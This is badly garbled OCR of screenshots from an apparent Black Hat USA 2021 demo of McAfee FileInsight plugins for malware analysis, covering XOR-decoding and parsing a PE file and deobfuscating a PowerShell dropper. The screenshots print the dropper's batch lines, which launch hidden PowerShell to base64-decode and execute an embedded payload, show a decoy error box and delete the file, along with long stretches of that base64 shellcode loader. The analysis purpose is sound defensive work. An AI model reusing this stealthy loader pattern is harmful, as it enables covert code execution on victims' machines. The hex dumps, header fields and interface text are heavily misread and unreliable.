00 00 10 00 00 10 00 00:00 00 10 00 00 10 00 00

00 00 00 00 10 00 00 00:00 00 00 00 00 00 00 00
F4 BD 00 00 3C 00 00 00:00 00 01 00 04 20 01 00 <
00 00 00 00 00 00 00 00:00 00 00 00 00 00 00 00
00 30 02 00 A8 07 00 0000 00 00 00 00 00 00 00| O
00 00 00 00 00 00 00 00:00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 :BO BA 00 00 40 00 00 00 @
00 00 00 00 00 00 00 0000 AD 00 00 44 01 00 00 D
00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00

B® Navigation BE Structures JIJES

Output

£
£ Values MelbElucus BE Calculator =] Qutput JlscRIiTals]

Press F1 for help Offset )

4:46 PM
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v B2 Filelnsight - New file 1* - >

h_ Plugins _‘

Decode 6db3d533belfeib3bd5e5cdVadaf.. X G XOR keys Mew file 0¥ X Output of Hex text to binary data® > JVETETIN -4
LifEie | 00000000 | |4D 52 90 00 03 00 00!04 00 00 FF FF 00 00
Key Oxd3d2d1d0dfdedddcdbdad9d3cicbey B8 00 00 00 00 0O 0040 00 00 00 00 00 00

B EEE 1D ERETE 00 00 00 00 00 00 00:00 00 00 00 00 00 00
nnnnng 0o 00 00 0000 00 00 FO 00 00 00

b ownone4 gocpiz2l BS 01 CD 21 54 &8 ! 1L ITh

ELF 67 72161 6D 20 6l 6E 6E 6F |is program canno

Filesystem b Mach-O 75 6E 20 69 6E 44 4F 53 20|t be run in DOS

Image » I3 oD 0224 00 00 00 00 00 00 00 |mode . s

Windows-specific DA SC Bé DA 5C Bé DA 5C Bée &0

T9 T2 ZE 60 DB 5C B6 BS 2R 28 CB 5C B6 60

BS5 22 1C &0 BF 5C B6 D3 24 25 DF 5C B6 60

DA 5C B7 60 80 5C B6 BS 22 1D 60 C4 5C B6 60

BS5 22 2C &0 DB 5C B6 BS 22 2B 60 DB 5C B6 60

52 69 63 63 DA 5C B6 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00

50 45 00 00 4C 01 05 2c B0 62 00 00 00 00

00 00 00 OO0 E0 00 02 OB 01 OAR 00 00 90 00 00

00 66 01 00 00 00 OO0 14 18 00 00 10 00 00

00 20 00 00 00 00 40 00 10 00 00 02 00 00

05 00 01 00 00 00 00 05 00 01 o§g|amt

00 40 02 00 00 04 00 5F 6E 02 050 e s

00 00 10 00 00 10 00 00 00 10 00 10 00 00

00 00 00 00 10 00 00 00 00 00 00 00 00 00

F4 BD 00 00 3C 00 00 00 00 01 04 20 01 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 30 02 00 A8 07 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 OO0 00 00 OO0 BO BA OO0 40 00 00 00

00 00 00 OO0 00 00 OO0 00 20 00 44 01 00 00

00 00 00 OO0 00 00 OO0 00 00 00 00 00 00 00

Edit Search Plugins

Archive

\

\
\
\
\
\
\

B® Navigation BE Structures JIJES

Output

<

£ Values MelbElucus BE Calculator =] Qutput JlscRIiTals]

Press F1 for help Offset )
446 PM
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v B2 Filelnsight - New file 1* - >

-[» Operations
 pugns

Decode 6db3d533belfeib3bd5e5cdVadaf.. X G XOR keys Mew file 0¥ X Output of Hex text to binary data® > JVETETIN -4

Hethicol Doy 00000000 ! |4D 5A 90 00 04 00 00 00 00
Key Oxd3d2d1d0dfdedddcdbdad9d3cicaecy B8 00 00 00 40 00 00 00 00
AL FE ) G 00 00 00 00 00 00 00 00 00
00 OC 00 0O 00 00O OO0 00 00
OE 1F BA OE 21 B8 01 54 68 ! L !Th
639 73 20 70 &l &D 20 €E €F|is program canno
74 20 62 65 20 69 6E 5320t be run in DOS
6D GF 64 65 24 00 00 00 00 (mode . 3
SE 3D D3 33 DA S5C Bée Bo 60
49 12 2E &0 BS 2R 28 Bo 60
B5 ZA 1C &0 D3 24 25 Bo 60
DA SC BT g0 B5 ZA 1D Bo 60
BS ZA 2C g0 BS ZA 2B Bo 60
52 69 63 68 00 00 00 00 00
00 00 00 00 00 00 00 00 00
50 45 00 00 2C AD 62 00 00
00 00 00 00 OB 01 OA 00 00
00 66 01 00 14 18 00 Confirmatian
00 AC OO0 0O 00 10 00
05 00 01 00 05 00 01
00 40 02 Q0 SF &FE Q2 4 o Adding man}_,rbookmarks (over 100) may take long time.
00 00 10 00 00 00 10 Would you like to add 127 bookmarks?
00 00 00 00 00 00 00
F4 BD 00 00 00 00 01
00 00 00 00 00 00 00
00 30 02 00 00 00 00
00 0C 00 GO0 00 00 00
00 OC 00 0O BO BAR 0O
00 OC 00 0O 00 RO OO
00 OC 00 0O 00 00O OO0

Edit Search Plugins

\

\
\
\
\
\
\

B® Navigation BE Structures JIJES

Output

<

£ Values MelbElucus BE Calculator =] Qutput JlscRIiTals]

Press F1 for help
4:46 PM
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w B2 Filelnsight - New file 1* = >

Home Edit Search Plugins Windows

E Mew Horizontal Tab Group

1] Mew Vertical Tab Group fn aﬂ%?; E % . MCAfee_

Decode 64b3d533belfeSb3bd5e5cdTadaf.. X Gu KOR keys Mew file 0 X Output of Hex text to binary data® =X YEUR; ¢

Methad | Yor - 0Oxl: mz.magic -»> 4d5a (hex)

Key |Oxd3dzdld0didedddedbdadddacrcscy - 0x3: pe.coff hdr.symbol name table size -> 9460301 (0x905a4d)
Decode - 0x3b: mz.datal -> 90000300000004000000££££0000b800... (hex)
0x3f: mz.ofs pe —> 240 (0xf0)
OE IFBAOE OO B4 09CD;21 BS 01 4CCD 21 54 &8 ! L [Tt 0xf3: pe.pe signature -> 50450000 (hex)
69 73 207072 eF &7 72'6l1 €D 20 €3 €1 6E €E 6F |15 progran.l cannc 0xf5: pE.COEf hdr.machine -> MachineType.i386: 332 (0xldc)
T4 20 €2 652072756E:2069 eE 20 44 4F 53 20|t be run 1in DOS Oxf7: pe.coff_hdr.num.ber of sections -> 5 (0x5)
Oxfb: pe.coff hdr.time date stamp -> 2012-03-16 02:06:36+00:00 (UNIX time, UT
Oxff: pe.coff hdr.pointer to_symbol table -> 0 (0x0)
0x103: pe.coff hdr.number of symbols -> 0 (0z0)
0x105: pe.coff hdr.size of optional header -> 224 (0xe=0)
0x107: pe.coff hdr.characteristics -> 258 (0x102)
0x109: pe.optional hdr.std.format -> PeFormat.pe32: 267 (0xl0b)
Ox10a: pe.opticnal hdr.std.major linker wersion -> 10 (0xa)
O0x10b: pe.opticnal hdr.std.minor linker wversion -> 0 (0x0)
Ox10f: pe.cpticnal hdr.std.size of code -> 36864 (0xS000)
0x113: pe.opticnal hdr.std.size of initialized data -> 91648 (0x1&600)
0x117: pe.opticnal hdr.std.size of uninitialized data -> 0 (0x0)
O0x11b: pe.opticnal hdr.std.address of entry point -> 6164 (0x1814)
Ox11f: pe.opticnal hdr.std.base of code -»> 4096 (0x1000)
0x123: pe.opticnal hdr.std.base of data -> 405960 (0xa000)
0x127: pe.opticnal hdr.windows.image base 32 -> 4154304 (0x400000)

BS 2R ZB 60 DB 5C B6 &0

O0x12b: pe.opticnal hdr.windows.section alignment -> 40%6 (0x1000)

B2 Mavigation BE& Structures JI|Laeed Ox12f: pe.copticnal hdr.windows.file aligmnment -> 512 (0x200)

0x131: .opticnal hdr.windows.major_ cperating system version -> 5 (0x5)
0x133: .optional hdr.windows.minor cperating system version -»> 1 (0Oxl)
Ox135: .optional hdr.windows.major_ image version -> 0 (0x0)

Mw127 - At ioamnal hdr windoae minoar Tmans veroian = (0 (000

[ 0%0 mz.magic MZ-0 O
[ 0x0 pe.coff_hdr.symbal_name_tabl MZ-0
Output
[ 0%2 mz.datal -0 0O -- J.
[ 0x3c mz.ofs_pe - 00 INAO..

[ 0xf0 pe.pe_signature PE  LOO ,-bO .. izcrlzzdbzzehnz:-iietiiiiea;aiiéd data structure. List Of attributes Of the file

[ 0xf4 pe.coff_hdr.machine LOO ,-bO Parsed data is shown in the new "Parsed data™ tab.

(] 0xf6 pe.coff_hdr.number_of secti 0 ,-bO Please use "Windows™ tab -> "New Vertical Tab Group" to see parsed data and file contents side by side.
|| 0xf8 pe.coff_hdr.time_date_stamp ,-bO

[ Oxfc pe.coff_hdr.pointer_to_symb

[ 0100 pe.coff_hdr.number_of_symb

] 0x104 pe.coff_hdr.size_of_option - 000

[ 0x106 pe.coff_hdr.characteristic 000

[ 0x108 pe.optional_hdr.std.format 00




v B2 Filelnsight - New file 1* - >

Home Edit Search Plugins

|+ Operation: Basic
Compression

Crypto
Encoding

* T v w

Emulate code

Decode X QOutput of H LOEGECR S New FRELAE S Parsed data*

Method | Xo Parsing L4 File cormparison
Key o Search » Hash values oooo A 0x0 - Oxl: mz.magic —-> 4d5a (hex) . P
Visualization 3 Send to (CLI) 0x0 - 0x3: pe.coff hdr.symbol name table size -> 9460301 (0x2905a4d)
XOR >m 0x2 - Ox3b: mz.datal -> 50000300000004000000££££0000kL800... (hex)
Check for update : e 0x3c — 0x3f: mz.ofs pe —> 240 (0xf0)
. imcDF' OF  Send selected region (the whole file if not selected) to other GUI prograr‘r‘l. ! . I!Tt 0xf0 - 0xf3: pe .pe_signature -> 50450000 (hex)
69 73 20 70 72 6F 67 7261 6D 20 63 €61 6GE GE 6F |15 program cannc

Oxf4 - 0xf5: pe.coff hdr.machine -> MachineType.i386: 332 (0Oxl4dc)

gD gF ‘53 gg — ED Ug gf = g” Ug EE b g” Ug EE mfdg- - 5\ . 0xf8 - 0xfb: pe.coff hdr.time date stamp -> 2012-03-16 02:06:36+00:00 (UNIX time, UT:
£ ) bb DA SCE S DASCE JDASCE - - . . Oxfc - 0xff: pe.coff hdr.pointer to symbecl table -> 0 (0x0)

4912 2E 60 DB 5C B6 60 BS 2A 28 60CBS5CBE 60T . \ ° *(° \ : = == =

B5 2A 1C 60 BF SCB6 60:D3 24 25 60 DFSCB6 60| * ~ \ ° $%° \ 0x100 — 0x103: pe.coff hdr.number of symbols —> 0 (@)

DA 5C B7 60 80 S5CB6 60 BS2A1D 60C4 5CBE 60| \ * \ ° *  \ gxigg - gxigg' pe'Coi—igr'slllze—c’f—o?tlc.mal—hezgzr 5}1334 L

B5 2A 2C 60 DB 5C B6 60.B5 2A 2B 60 DBSCB6 60| *,° \ ° *+° \ x106 - 0x107: pe.coff hdr.characteristics —> ALEAUI

52 69 63 63 DA 5C B6 60 .00 00 00 00 00 00 00 00 |Rich \ ° 0x108 - 0xl1l0%: pe.optional hdr.std.format -> PeFormat.pe32: 267 (0xl0b)

Oxl0a - 0xl0a: pe.optiocnal hdr.std.major linker wversion -> 10 (0xa)
0x10b - 0xl0b: pe.opticnal hdr.std.minor linker wersion -> 0 (0x0)
0xl0c - 0x10f: pe.optional hdr.std.size of code -> 36864 (0x%000)
0x110 - 0x1l13: pe.optional hdr.std.size of initialized data -> 91648 (0x1&600)
0x114 - 0x117: pe.optiocnal hdr.std.size of uninitialized data -> 0 (0x0)
- seﬂﬁgait Clz.{llb: pe.optional hdr.std.address of entry point -> 6164 (0x1814)
0x1lc - UX11f: pe.optional hdr.std.base of code -> 4096 (0x1000)
0x120 - 0x123: pe.opticnal hdr.std.base of data —-> 40960 (0xa000)
Oxl124 - 0x127: pe.optiocnal hdr.windows.image base 32 -> 4194304 (0x400000)
0x128 - 0xl2b: pe.optional hdr.windows.section alignment -> 40S6 (0x1000)
Oxl2c - 0x12f: pe.opticnal hdr.windows.file aligmment -> 512 (0x200)

00 00 00 00 OO0 OO0 00 00;00 OO0 OO0 OO0 00 00 00 OO0

[ 0x108 pe.optional_hdr.std.format OO

£ Values MelbElucus BE Calculator [ITG0e [ Scripting

B® Navigation BE Structures JIJES

0x130 - 0x131: pe.optional hdr.windows.major operating system wersion -> 5 (0x5)
0x132 - 0x133: pe.opticnal hdr.windows.minor operating system version -> 1 (0xl)
0x134 - 0x135: pe.optiocnal hdr.windows.major image version -> 0 (0x0)
fw1327- Artinanal hdr mindame minar imacae wareian —% 0 (w0 ¥

[ 0%0 mz.magic MZ-0 O

[ 0x0 pe.coff_hdr.symbaol_name_tabl MZ-0
Output

[ ox2 mz.datal -0 O -- 4.

[ Ox3c mz.ofs_pe - 00 INMO..

[ 0xf0 pe.pe_signature PE  LOO ,-bO

[ 0xf4 pe.coff_hdr.machine LOO ,-bO

[ 0xf& pe.coff_hdr.number_of_secti 0 ,-b0

|| 0xf8 pe.coff_hdr.time_date_stamp ,-bO

[ Oxfc pe.coff_hdr.pointer_to_symb

[ 0x100 pe.coff_hdr.number_of_symb - L

[ 0x104 pe.coff_hdr.size_of_option - 000

[ 0x106 pe.coff_hdr.characteristic 000 - f

Press F1 for help Offset )

= 5 ; ® (g ROl E A @

4:47 PM
87772021




w B2 Filelnsight - New file 1* - o

Home Edit Search Plugins

R ¥ McAfee

N 64b3d533belfe5blbdiescdTadaf.. X Gu XOR keys* Mew file 0 X Output of Hex text to binary data® = [EETE;
Method | Xor
Key Oxd3d2d1d0dfdedddodbdad9decy ceeg

Select area to decode

send o U0 * DT - Opening the file with PE-bear agel > sopnseonon

pe-tree ; 2 - .pe_signature > 50450000 (he=x)
DA Free €L ED 20636l EEGE 6F|1s program cannc 0xf4 - : pe.coff hdr.machine -> MachineType.i386: 332 (0xldc)
Cutter 20 69 6E 20 44 4F 53 20|t be run 1in DOS Oxfe - : .coff hdr.number of sections -> 5 (0x5)
24 00 000000000000 mode. 5 0xf8 - . pe.coff hdr.time date stamp -> 2012-03-16 02:06:36+00:00 (UNIX time, UT
DA SCBE EUDA 5C BE 60 \ Oxfc - : .coff_hdr.poingér tg-symbol table -> 0 (0x0)
BS5 2A 28 60 CB 5C B6 60 \ = - = -
MS Paint D3 24 25 60 DF 5C B6 60 \ . 0x100 - 0x103: pe.coff_hdr.npmber_of_symbols -» 0 (0=0)
\ . 0x104 - 0x103: pe.coff _hdr.size of optional_header -> 224 (0xel)
i\
A

M

1

Relyze Desktop
VS Code

i

Excel BS 2 1D 60 C4 5C B6 60 -

Word BS 22 2B 60 DE 5C B6 &0 0x106 - 0x107: pe.coff hdr.characteristics —-> 258 (0x102)

CyberChef 00 00 00 00 00 00 00 00 0x108 - 0x109%: pe.optional hdr.std.format -> PeFormat.pe32: 267 (0xl0b)

T (T 00 00 00 00 00 00 00 00 Oxl0a - 0xl0a: pe.opticnal hdr.std.major linker wversion -> 10 (0xa)

0x10b - 0xl0Ob: pe.opticnal hdr.std.minor linker wersion -> 0 (0x0)

Oxl0c - 0x1l0f: pe.optional hdr.std.size of code -> 36864 (0xS000)

0x110 - 0x1l13: pe.cptional hdr.std.size of initialized data -> 91648 (0Oxlé&00)
0x114 - 0x117: pe.optiocnal hdr.std.size of uninitialized data -> 0 (0x0)

0x118 - 0xllb: pe.opticnal hdr.std.address of entry point -> 6l64 (0x1814)
Oxllec - 0xl1lf: pe.opticnal hdr.std.base of code -> 4096 (0x1000)

0x120 - 0xl1l23: pe.opticnal hdr.std.base of data -»> 40960 (0xa000)

Oxl24 - 0x127: pe.opticnal hdr.windows.image base 32 -> 4194304 (0x400000)
0x128 - 0xlZb: pe.cptional hdr.windows.section alignment -> 40S%6 (0x1000)

B2 Mavigation BE& Structures JI|Laeed OxlZc - 0xlZ2f: pe.opticnal hdr.windeows.file aligmment -»> 512 (0x200)

0x130 - 0x131: .opticnal hdr.windows.major_ cperating system version -> 5 (0x5)

T o T v O e Y o Y 0 O 1.

0xl1l32 - 0x133: .optional hdr.windows.minor cperating system version -»> 1 (0Oxl)
Ox134 - 0x135: .optional hdr.windows.major_ image version -> 0 (0x0)

Cwr1 26 — M1 37 - At i,amnal hdr windomae minoar Tmans veroian = (0 (000

[ 0%0 mz.magic MZ-0 O
[ 0x0 pe.coff_hdr.symbal_name_tabl MZ-0
Output
[ 0%2 mz.datal -0 0O -- J.
[ 0x3c mz.ofs_pe - 00 INAO.. - -
Sending the whole file (1259536 bytes) to external program.
[ 0xf0 pe.pe_signature PE  LOO ,-bO
[ 0xf4 pe.coff_hdr.machine LOO ,-bO
[ 0xf& pe.coff_hdr.number_of_secti 0 ,-b0
|| 0xf8 pe.coff_hdr.time_date_stamp ,-bO
[ Oxfc pe.coff_hdr.pointer_to_symb
[ 0100 pe.coff_hdr.number_of_symb
] 0x104 pe.coff_hdr.size_of_option - 000
[ 0x106 pe.coff_hdr.characteristic 000

[ 0x108 pe.optional_hdr.std.format 00

o 4:47 PM
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File Settings View Compare Info

= tmpnmrsmf

B DOS Header
*  DOS stub Cc14
' MNT Headers Cc24
[ Signature C34
B File Header c44
B Optional Header i
' Section Headers

Sections
# pext ca4

= [P-Cl4
rdata
.data

o, e M. B

JEIC T4

-1"'; reloc

1814
la1is
181E
1a8lF
lazo
laz3
laz4
la2s
lazc
la30
la3z
la3e
1837
la3s
la3c
1840
la46
la4s
la4n
184D
184F
18561
18563
18565
1858
1asD
1a85F
lae0
laez
laes
laee
laes
laeh
laeF
1a71
1873

trpnmrsmf

Loaded: chusers\user\appdata'local\tempitmpnmrsmf

@ o5 m T ¢ 9

LI L =1

A

[

¢ moE s M

e

oot oW

-

Disasm: text ‘ General | D05 Hdr | Rich Hdr | File Hdr |

Optional Hdr | Section Hdrs | 8 Imports | 8@ Resources

B | oadConfig

Hex
EBE42F0000 Y
ESS5FEFFFF r

=]
e
[
5]
L]

[

o
i

Disasm

CALL OX4047FD
JHP 0X401&6B3

TEST E

JE SHORT 0¥X40125D

BYTE PTR [EDX]
1

BL

JE SHORT 0¥X401220

TEST CL, CL

JE SHORT 0X40128h&

TEST EDX

JNE SHORT 0X401348

MOV ECH, DWORD PTR [EDX]

B .

e

oo

o

LT -1 R L

HoR o oW

[~ T

o

He

A

Mmoo W k2
ot

ot
PO o

B moo

e

e

Hint

Ll ®E A 3

4:48 PM
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black hat

USA 2021

Demo 3

* Deobfuscation with emulation of shellcode
* Powershell script that contains a self-modifying shellcode

° Plugins used in this demo

* Basic -> Copy to new file * Parsing -> Find PE file
° Encoding -> Custom base64 decode * Searching -> YARA scan
* Parsing -> Disassemble

* Misc -> Emulate code

#BHUSA @BLACKHATEVENTS (WAL



Filelnsight - 3d30ac25c3121e969d195d7eadcf173f8c2ch7bef47241758ad4f179a75c6d8b

"N j ke '\I l I Enter a URL here
u Use Internet Explorer Proxy

MNew Open Close Save

Enter your proxy as [Server:Port] here

Mavigation 3d30ac25c3121e960d195dTeadcf1... X

K Supported for HTML, OLEZ2, PE and Flash. @echo off
start /b powershell -w hidden -nop —-c¢ "iex {([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBasetdString( 5((gc %~£0 ) [-1]1})) )"
start /b powershell -w hidden -nop -c "Add-Type -RAssemblyName Microsoft.VisualBasic;Snull =[Microscft.VisualBasic.Interaction]::MsgBox('Document failed to decode pror

timeout 5 > NUL

start /b "" cmd fc del "%~f0"gexit /b
IUQVDLVNGcmljdEleGUgLleanpr4gMgDKJERVSXQgPSBAprdeSjdlebiBdeSjX2dldF9wcm9jK2FkZHch3MgewoJUGFyYWOgKCREYXJbe9kdﬂxlLCAkdeyXBBybENlZHVyZSkJCQoJJHthlBlbnNthVfbn

This BASE64 string will be decoded
and executed as PowerShell script

EPQVENRENINY BE Structures [ Decode

Values

Byte
WORD
DWQORD
ASCI
Unicode

BN e Bookmarks  |B§ Calculator ohINd R Scripting

Press F1 for help
FEE= B R - N




U |~ Filelnsight - 3d30ac25c3121e969d195d7eadcf173f8c2cbTbef47241758ad4f179a75c6d8b _ W

Home Edit Search Plugins

|
- Oneens Copy to new file

T 5 Bookmark Copy selected region (the whole file if not selected) te a new file
Crypto L4 Cut binary to clipboard
Encoding L4 Copy binary to clipboard
Navigation Misc 4 Paste binary from clipboard dTeadcfl.. X
# Supported fc Parsing L4 Delete before
Search L4 Delete after - o q - - "
. R - powershell -w th.dden —-nop —-c "iex | [System.Text.Encod:Ll:lg] : :UTFS8 .tlzetstrlnc_l‘; ([Sy=tem. Cor.wert] : :Frc?mBaseﬁfl.IStrlng( g (<.gc 5~£0 ) [-11}))}) .
- R S powershell -w hidden -nop -c¢ "Add-Type -&ssemblyName Microsoft.VisualBasic;$null =[Microsoft.VisualBasic.Interaction]::MsgBox('Document failed to decode pror
> NUL
ChE.Ckf?r update Reverse. order v emd /o del "~f0"sexit /b
Versien info z::E ;Lbnb:jies nljdE1vZGUgLVZ1enNpb2 4gMgoRJERVSXQgPSBAIJWpmdn 5] dGl vbiBmdW5 jX2d1dF Swem ] X2FkZHI 1 c3Mgewo JUGFyYWOgRCR2YXJfbW 9 kdWx 1 LCAkdmFyX 3Byb2N1ZHVyZ5kJCQoJIHZhcl $1bnNhZmV fon
To upper case
To lower case
Swap case

Extracting the BASE64 string

Script is running, please wait...

EPQVEICRELIY B Structures 0] De

Values

Byte
WORD
DWQORD
ASCI
Unicode

£ >

Output o

BN e Bookmarks B Calculator [=] Cutput [llsc RISl

< F1 for help Lné

® TR ®E A [T

4:59 PM
87772021



w B2 Filelnsight - New file 0* = >

Edit Search Plugins Windows Help

U McAfee

Mavigation 3d30ac25c3121e069d195dTeadcf ... > NSRS

X supported for HTML, OLE2, PE and Fiash. 55 32 56 30 4C 56 4E 30 63 6D 6C 6R 64 45 U2VOLVNOcmljdELlw
5A 47 55 67 4C 56 5A 6C 63 6E 4E 70 62 32 ZGUgLVZlcnNpb24g
4D 67 6F 4B 4A 45 52 76153 58 51 67 50 53 1|MgoRKJERVSXQgPSEA
4R 77 70 6D 64 57 35 6A 64 47 6C 76 62 69 JwpmdW5jdGlvbiBm
64 57 35 6A 58 32 64 6C 64 46 39 77 63 6D dW537X2d1dF9wcm9
58 32 46 6B 5A 48 4A 6C /63 33 4D 67 65 77 X2FkZHJ1lc3Mgewod
5547 46 79 59 57 30 67 4B 43 52 32 59 58 UGFYYWOgQRCR2YXJE
62 57 39 6B 64 57 78 6C:4C 43 41 6B 64 6D bW9kdWx1LCAkdmFy
58 33 42 79 62 32 4E 6C|5A 48 56 79 5A 53 X3Byb2N1ZHVyZSkJ
43 51 6F 4A 4A 48 5A 6863 6C 39 31 62 6E ' |CQoJIHZhcl91bnNh
5A 6D 56 66 62 6D 46 3061 58 5A 6C 58 32 3! ZmVEbmF0aXz1X211
64 47 68 76 5A 48 4D 6750 53 41 6F dGhvZHMgPSAOWOFwW
63 4552 76 62 57 46 7062 6C 30 36 4F 6B 1|cERvVbWFpb1l060kN1
63 6E 4A 6C 62 6E 52 45 62 32 31 68 61 57 cnJlbnREb21haW4u
52 3256 3051 58 4E JA SA 57 31 69 62 47 R2VOQXNzZW1libG1l1l
6379 67 704948 77 67 56 32 68 6C 63 6D cygpIHwgV2hlemUt
54 32 4R 71 5A 57 4E 3049 48 73 67 4A 46 T2JgZWNOIHsgJFS8u
52 32 78 76 59 6D 46 73 51 58 4E TA 5A 57 3! RZXVYMFSQXNzZW1i
62 4% 6C 44 59 57 4E 6F 5A 53 41 74 51 57 bHIDYWNOZSAtQWSk
49 43 52 66 4C 6B 78 7659 32 46 30 61 57 ICRfLkxvY2F0aW9u
4C 6C 4E 77 62 47 6C 30 4B 43 64 63 L1NwbGl0RCdcXCcp
57 7930 78 58 53 35 46 63 58 56 68 8 WyO0xXS5FcXVhbHMo
4R 31 4E 35 63 33 52 6C 62 53 35 6B J1N5c3R1bS5kbGwn
4B 53 42 39 4B 53 35 48 |5A 58 52 55 KSBY9KSS5HZXRUeXB1
4B 43 64 4E 61 57 4E 79 62 33 4E 76 ; KCdNaWNyb3NvZnQu
56 32 6C 75 4D TR 49 75 56 57 35 7 V21uMzIuVWSzYWZ1
Values 7 54 6D 46 30 61 58 58 6C54 57 56 30 & TmF0aXZ1TWV0aG9k
P — 63 79 63 70 43 67 6B 4B 43 58 4A 6C ) cycpCgkRCXJ1dHVyY
— 62 69 41 6B 64 6D 46 7958 33 56 75 biAkdmFyX3Vuc2Fm

Byte 85 5A 5639 7559 58 52 70 64 6D 56 66 ZVI9uYXRpdmVEbWVO
WORD 12885

DWORD 810955349 Output
i s [T [
FTINTIIITIIITINT I Ip T B

Unicode
Copied 358600 bytes from cffset 0xlcH% to 0x57a%0 to new tab 'New file 0O'.

EPQVENRENINY BE Structures [ Decode

BN e Bookmarks  |B§ Calculator By R Scripting

459 PM
8/7/2021
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v B2 Filelnsight - New file 0* - >

Edit Search Plugins Windows Help

-[» Operations Basic '
Compressicn 4
Crypto L4

h- Plugins Hex text to binary data

Misc L4 Encode P Decimal text to binary data
Navigation Parsing k ! Octal text to binary data Mew file 0" X
X supported e eqrch - Binary text to binary data 30 5A 57 30 7555 6E 56 75 64 47 6C 74i|eXNOZWOuUnvVudGlt n
Visualization * Custom basel6 decode 4R 62 BE 52 6C! 63 6D 39 77 55 32 56 719|Z55JbnR1lcmOwU2Vy
XOR r Custom base32 decode GA 5A 58 4D 75154 57 46 79 63 32 68 68 |dmljEZXMuTWFyc2hh
Check for update Custom base58 decode 36 4F 6B &4 6Ci 64 45 52 6C 62 47 56 6E(bF060kd1dER1IbGVn
Version info Custom basebd decode 6C 52 6D 33 7952 AR RR TR R 33 B2 TNIVYRIRMIYRnVuY3Rp

Custorn basef5 decade 51 62 32 &C Decode selected region with customn basefd table Sob2ludGVvEChm

Protobuf decode 6A 58 32 64 6C 64 46 39 77 63 6D 39 6A[dW57X2d1dF9wcm9]
6B 5A 48 4A 6C 63 33 4D 67 61 32 56 7%|X2FkZHJI1c3Mga2Vy
73 4D TA 49 75!5A 47 78 73 49 46 64 68| bmVsMzIuzGxsIFdh
47 62 33 4A 5461 57 35 6E 62 47 56 50;{aXRGb3JTaW5nbGVE
6C 59 33 51 70 | 4C 43 41 6F 5A 6E 56 75| YmplY3QpLCA0ZnVu
59 31 39 6E 5A 58 52 66 5A 47 56 73 5A 57 64 68;|Y19nZXREZGVszWdh
64 47 56 66 64 48 6C 77 | 5A 53 42 41 4B 46 74 4A|dGVEidHIWZSBARKFtJ
62 6E 52 51 64 48 4A 64 4C 43 42 62 53 57 35 30|bnRQdHIALCBELSWS0
4D 7A 4R 64 4B 53 6B 70 4C 6B 6C 75 64 6D 39 72/|MzJdKSkpLkludm9r
5A 53 67 6B 64 6D 46 79 58 32 68 30 61 48 4R 6C|zZS5gkdmFyX2h0aHJl
59 57 51 73 4D 48 68 6D SA 6D 5A 6D 5A 6D S5A 6D YWQsMHhmZmamZman,
5A 69 6B 67 66 43 42 50 64 58 51 74 54 6E 56 73|21 kgfCBRPAXQtTnVs
62 41 6F 6E 51 41 6F 4B:53 57 59 67 4B 46 74 4A|bRonQACKSWYgKFtJ

From quoted printable
Unicode unescape
URL decode

62 6E 52 51 64 48 4A 64 4F 6ATO TA 6 P s Py A e 1
49 43 31 6C 63 53 41 34 4B 53 42 37 4%%3‘ !sf@ﬂlmﬂ@gﬁlease Walt...
64 47 46 79 64 43 31 71 62 32 49 67 65 79 42 77| deFydclgb2IgeyBw
59 58 42 68 62 53 67 6B 59 53 6B 67 53 55 56 59|y X hbSgkyYSkgsSUVY
49 43 52 68 49 48 30 67 4C 56 42 31 62 6B 46 7A|ICRhIHOgLVJ1lbkFz
S . . = —— 4D 7A 49 67 4C 55 46 79 5A 33 56 74 58 57 35 30| Mz IgLUFyZ3VEaW50
ERALTELL) BE Structures [3] Decode 49 43 52 45 62 30 6C 30 49 48 77 67 64 32 46 70| ICRELO10THwgd2Fp
Values ] 64 43 31 71 62 32 49 67 66 43 42 53 5A 57 4E 6Ci|dC1gb2IgfCBSZWNL
e — 61 58 5A 6C 4C 55 70 76 59 67 70 39 43 6D 56 73{[aXz21LUpvYgp9CmVs
€3 32 55 67 65 77 6F 4A 53 55 56 59 49 43 52 45llc2Ugewod YICRE
- — 000578C7 | |162 30 6C 30 43 6E 30 4B b010Cn0

WORD 12885
DWQORD 810955349
ASCI U2VOLVNOcmljdETvEGUg

Unicode | Z22RIRRRIRININNIIIINIDYY

Output

BN e Bookmarks B Calculator =] Qutput JlscRIiTals]

Press F1 for help Off 0) Length 1

"y Fataosk 459 PM
s i : -« ROl ®ADQD o0




Filelnsight - Mew file 0%

Edit Search Plugins

h_ Plugins _‘

Mavigation
X Supported for HTML, OLE2, PE and Flash.

e969d195d7eadcfl... X QEEIETIE g

65 58 4E 30 5A 57 30 75
S5A 53 35 4A 62 BE 52 6C
€4 6D 6C 6A S5A 58 4D 75
62 46 30 36 4F 6B 64 6C
59 58 52 6C 52 6D 39 79
62 32 35 51 62 32 6C 15
64 57 35 6A 58 32 64 6C
58 32 46 6B SA 48 4A 6C
62 6D 56 73 4D 7TA 49 15
61 58 52 47 62 33 4A 54
59 6D 70 6C 59 33 51 10
59 31 39 6E S5A 58 52 66
64 47 56 66 64 48 eC 17
62 BE 52 51 64 48 42 64
4D TR 42 64 4B 53 €B 70
SAE 53 &7 6B &4 6D 46 79
59 57 51 73 4D 48 &8 &D
SA 69 6B 67 66 43 42 50
62 41 6F 6E 51 41 &F 4B
62 BE 52 51 64 48 42 64
49 43 31 6C &3 53 41 34
64 47 46 79 64 43 31 71
59 58 42 68 62 53 67 6B
49 43 52 68 49 48 30 &7
4D TR 49 67 4C 55 46 79
49 43 52 45 &2 30 eC 30
64 43 31 71 62 32 49 &7
61 58 5A 6C 4C 55 70 76
63 32 55 67 65 77 6F 4A
62

30ac25c3121

EPQVENRENLIY B Structures [ Decode

Values q

Byte a5

WORD 12885
DWQORD 810955349
ASCI
Unicode

000578C7T
Output

F

FITINTIIITIIITINGIIIID

%A Values [ 8]
Press F1 for help

okmarks B Calculator LN A Scripting

] =
N =

® o

55
63
54
64
S
64

BE 56 75 64 47 &C 74
6D 39 77 55 32 56 719
57 46 79 63 32 68 68
45 52 6C 62 47 56 6E
6E 56 75 59 33 52 70
47 56 79 4B 43 68 &D
64 46 39 77 63 6D 39 6A
63 22 4D 67 61 32 56 79
SA 47778 73 49 46 64 68
